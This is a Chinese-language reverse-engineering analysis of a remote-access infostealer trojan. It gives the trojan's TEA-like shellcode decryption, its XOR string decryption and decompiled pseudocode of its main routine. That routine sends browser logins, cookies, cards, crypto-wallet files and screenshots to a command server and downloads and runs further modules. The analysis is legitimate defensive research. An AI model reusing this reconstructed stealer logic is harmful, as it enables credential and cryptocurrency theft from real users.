0.前言
样本来自https://www.52pojie.cn/forum.php?mod=viewthread&tid=1822151&extra=page%3D2%26filter%3Dauthor%26orderby%3Ddateline
该样本属于远控型病毒(trojan家族),上述文档已有分析,本文细化该病毒的加解密流程和执行流程
1.病毒大体执行流程
1 2 3 4 | 申请shellcode堆内存,并修改保护属性解密、执行shellcodeshellcode申请堆内存,并在堆中构造病毒PE,最终覆盖到主模块基址跳转到新PE入口点,解密病毒执行所需各种资源,最终执行病毒逻辑 |
2.加解密分析
2.1 shellcode的解密逻辑
1 2 | 加密后的shellcode代码位于.data节,拷贝到堆内存后,执行解密解密逻辑为每次解密8字节,低四字节记为low,高四字节记为high |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 插入代码```ULONG beta=0xC6EF3720; ULONG low=0,high=0;for(int k=0;k<(shellcodeSize>>3);k++){ PULONG ptr=(PULONG)(shellcodebuf+k*8); low=ptr[0]; high=ptr[1]; for(int i=0;i<0x20;++i){ ULONG v4=low>>5; ULONG v6=16*low+g_425760; v6^=(low+beta) high-=(v6^(g_425764+v4)); low-=((high+beta)^(g_42575c+(high>>5))^(g_425758+16*high)) beta-=0x9E3779B9; } ptr[0]=low; ptr[1]=high;} |
2.2 病毒所用资源解密
1 2 | 病毒发送http请求所用的content-Type、Accept-Type,以及函数、dll的字符串等是加密过的,在跳转到病毒PE入口点,执行病毒初始化过程中解密解密函数 char* 00412388(char* ciphertext,char*salt,int count); |
1 2 3 4 5 6 | 插入代码```plaintextBuf=localAlloc();for(int i=0;i<count;++i){ plaintextBuf[i]=ciphertext[i%strlen(ciphertext)]^salt[i];}return plaintextBuf; |
3.行为分析
病毒主函数逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | 插入代码```void main(){CoInitialize(0); Init(); //执行病毒所需资源的解密 if ( !sub_41300C() ) { ExitProcess(0xE4u); } szConfigIDValue = sub_415a13(); sub_4048DB(); if ( IsLocalSystemSID() ) CreateExplorerProcessWithDuplicatedToken(); szServerAddr = loc_4127FD)(); szContentType = dword_41D3B4; lpszAcceptTypes = (LPCWSTR)dword_41D224; pContentTypeBuf = (HLOCAL)sub_410533(szContentType, 1); pMachineIDBuf = (PWSTR)LocalAlloc_0(0x40u, 0x1000u); v5 = (WCHAR *)LocalAlloc_0(0x40u, 0x618u); v6 = (const WCHAR *)QueryMachineIDByRegedit(); v7 = (const WCHAR *)GetUserName(); v5 = StrCpyW(v5, dword_41D3F8); v5 = (const WCHAR *)concat(v5, v6); // 拼接machineID值 v5= (const WCHAR *)concat(v5, "|"); v5 = (const WCHAR *)concat(v5, v7); //拼接用户名 v5 = (const WCHAR *)concat(v5, dword_41D3A4);// 拼接"configId=" v5 = (WCHAR *)concat(v5, (LPCWSTR)szConfigIDValue);// 拼接configId值 pMachineIDBuf= StrCpyW(pMachineIDBuf, v5); LocalFree(v5); v41 = (PWSTR)LocalAlloc_0(0x40u, 0x800u); reTry=0 while ( 1 ) { wszServerAddr = fnMultiByteToWideChar(szServerAddr);// 将网址多字节变为宽字节 v14 = lstrlenW(szServerAddr); if ( wszServerAddr[v14 - 1] != 47 ) // 判断是不是“/"结尾 wszServerAddr = (LPCWSTR)concat(wszServerAddr, dword_41D27C);// 网址和“/"拼接 pszResp = (LPCWSTR)SendMessage(wszServerAddr,1,pMachineIDBuf, (LPCWSTR)pContentTypeBuf, lpszAcceptTypes); if ( lstrlenW( pszResp ) >= 64 ) break; LocalFree((HLOCAL)wszServerAddr); if ( !pszResp ) LocalFree(0); reTry++; if ( reTry >= 5 ) goto LABEL_14; } v41 = StrCpyW(v41, wszServerAddr); LocalFree((HLOCAL)wszServerAddr);LABEL_14: LocalFree(pContentTypeBuf); LocalFree(pMachineIDBuf); pszAppDataPath = (PCWSTR)LocalAlloc_0(0x40u, 0x208u); GetAppDataPath(pszAppDataPath); if ( pszResp ) { LoadDllFromServer(pszResp,pszAppDataPath); pStart= 0; pszToken = StrStrW(pszResp, "token:");// //token if ( !pszToken ) { ExitProcess(0xFFFFFFFF); } pStart = (PWSTR)(((_BYTE *)pszToken - (_BYTE *)pszResp) >> 1); v39 = LocalAlloc_0(0x40u, 0x100u); v16 = lstrlenW(pszResp); if ( !memcpy(v39,pStart + 3, v16) ) ExitProcess(0xFFFFFFFE); v41 = (PWSTR)concat(v41, (LPCWSTR)v39); LocalFree(v39); v17 = (WCHAR *)LocalAlloc_0(0x40u, 0x208u); v18 = StrCpyW(v17, pszAppDataPath); v19 = (const WCHAR *)concat(v18,"\"); // "\" szNss3DllPath = (PWSTR)concat(v19, dword_41D42C); v20 = (WCHAR *)LocalAlloc_0(0x40u, 0x208u); v21 = StrCpyW(v20, pszAppDataPath); v22 = (const WCHAR *)concat(v21, "\"); szSqlite3DllPath = concat(v22, dword_41D550); SetCurrentDirectoryW(pszAppDataPath); // AppData\LOcalLOw为当前路径 v23 = (WCHAR *)LocalAlloc_0(0x40u, 0x5000u); GetEnvironmentVariableW(lpName, v23, 0x2800u);// lpName:Path 环境变量名Path v24 = (const WCHAR *)concat(v23, ";"); // 环境变量拼接; v25 = (WCHAR *)concat(v24, pszAppDataPath); // 将当前路径添加到环境变量 SetEnvironmentVariableW(lpName, v25); LocalFree(v25); v26 = v41; SendSystemInfoToServer(pszResp, v41); pSqlite3DllBase = LoadLibraryW((LPCWSTR)szSqlite3DllPath);//加载sqlite3.dll if ( pSqlite3DllBase) EnumFileAndQueryInfoToSend(pszResp, v26); pNss3DllBase = LoadLibraryW(szNss3DllPath ); if ( pNss3DllBase ) EnumFileAndQueryInfoToSend2(pNss3DllBase ); GetWalletInfoAndSend(pszResp,v26); GetWalletDat((int)pszResp, (int)v26); EnumDriveAndSearchSpecifiedFileInfoToSend(pszResp,v26); EnumSystemFileAndSearchSpecifiedFileInfoToSend(pszResp, v26); // 枚举文件 EnumSystemFileAndSearchSpecifiedFileInfoToSend2(pszResp,v26); // 枚举文件 EnumSystemFileAndSearchSpecifiedFileInfoToSend3(pszResp, v26); v30 = lstrlenW(pszResp); v38 = LocalAlloc_0(0x40u, 2 * v30); if ( IsBitBlt(pszResp, (int)&v38) > 0 ) BitBltAndSendServer((LPCWSTR)v38, v26); LocalFree(v38); ExecuteShell(pszResp); if ( pNss3DllBase ) FreeLibrary(pNss3DllBase); DeleteFileW(szNss3DllPath); LocalFree(szNss3DllPath); if ( pSqlite3DllBase ) FreeLibrary(pSqlite3DllBase); DeleteFileW((LPCWSTR)szSqlite3DllPath); LocalFree(szSqlite3DllPath); LocalFree(pszResp); } else { v26 = v41; } LocalFree((HLOCAL)pszAppDataPath); LocalFree(v26); ExitProcess(0);} |
3.1 初始化部分
47行之前,是初始化部分,形如ServerIP、Content-Type等病毒所用到的字符串都是解密后初始化的,MathineID是通过注册表查询的、UserName是通过API获取的,并且还判断了SID,如果SID是LocalSystem级别复制Explorer.exe的Token并用Token创建Explorer进程
3.2 建立连接部分
84行之前,将mathineID和用户名以及configID连接起来,通过http发送到Server,并且设置了病毒当前目录
3.3 CS通信部分
3.3.1 搜索登录信息和表单信息等
3.3.1.1 EnumFileAndQueryInfoToSend
利用SHGetSpecialFolderPath函数分别遍历路径标识为0x1C,0x1A的文件夹,筛选local_state目录,从中查询login、Cookie、AutoFill、CredCard等信息,然后所有信息拼接,发送给Server(筛选的文件中包含"encrypt_key"和"status_version"字段才会被用sqlite3库解析上述信息)
3.3.1.2 EnumFileAndQueryInfoToSend2
利用SHGetSpecialFolderPath函数得到路径标识为0x1A的文件夹,然后遍历其下profile目录下的文件,用NSS3.dll解析登录、cookie、FormHistory等信息然后发送Server
3.3.2 wallet信息
3.3.2.1 GetWalletInfoAndSend
利用SHGetSpecialFolderPath函数得到指定路径标识的文件夹,路径标识通过解析响应数据获取,然后选出该目录下符合条件的文件(条件也是解析响应数据获得),复制文件,将复制文件名,文件句柄,备注信息发送到Server,备注信息中有wallet字样,推测目的可能是获取wallet信息
3.3.2.2 GetWalletDat
利用GetLogicalDriveStringsW函数得到盘符,然后获取盘符下的wallet.dat文件,复制文件,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server
3.3.3 特定信息
3.3.3.1 EnumDriveAndSearchSpecifiedFileInfoToSend
枚举盘符下的文件,筛选文件的条件,解析响应数据获得,将符合条件的文件复制,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server
3.3.3.2 其他
EnumSystemFileAndSearchSpecifiedFileInfoToSend、
EnumSystemFileAndSearchSpecifiedFileInfoToSend2、
EnumSystemFileAndSearchSpecifiedFileInfoToSend3
利用SHGetSpecialFolderPath函数遍历路径标识为0x1A的文件夹,同样筛选文件的条件,解析响应数据获得,将符合条件的文件复制,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server
3.3.4 屏幕位图信息
BitBltAndSendServer通过GDI库将屏幕视图保持到文件中,发到Server
3.3.5 从Server下载模块并执行
文件名及后缀需要解析响应数据获得,下载文件到当前目录(AppDataLow)后,ShellExecute执行该文件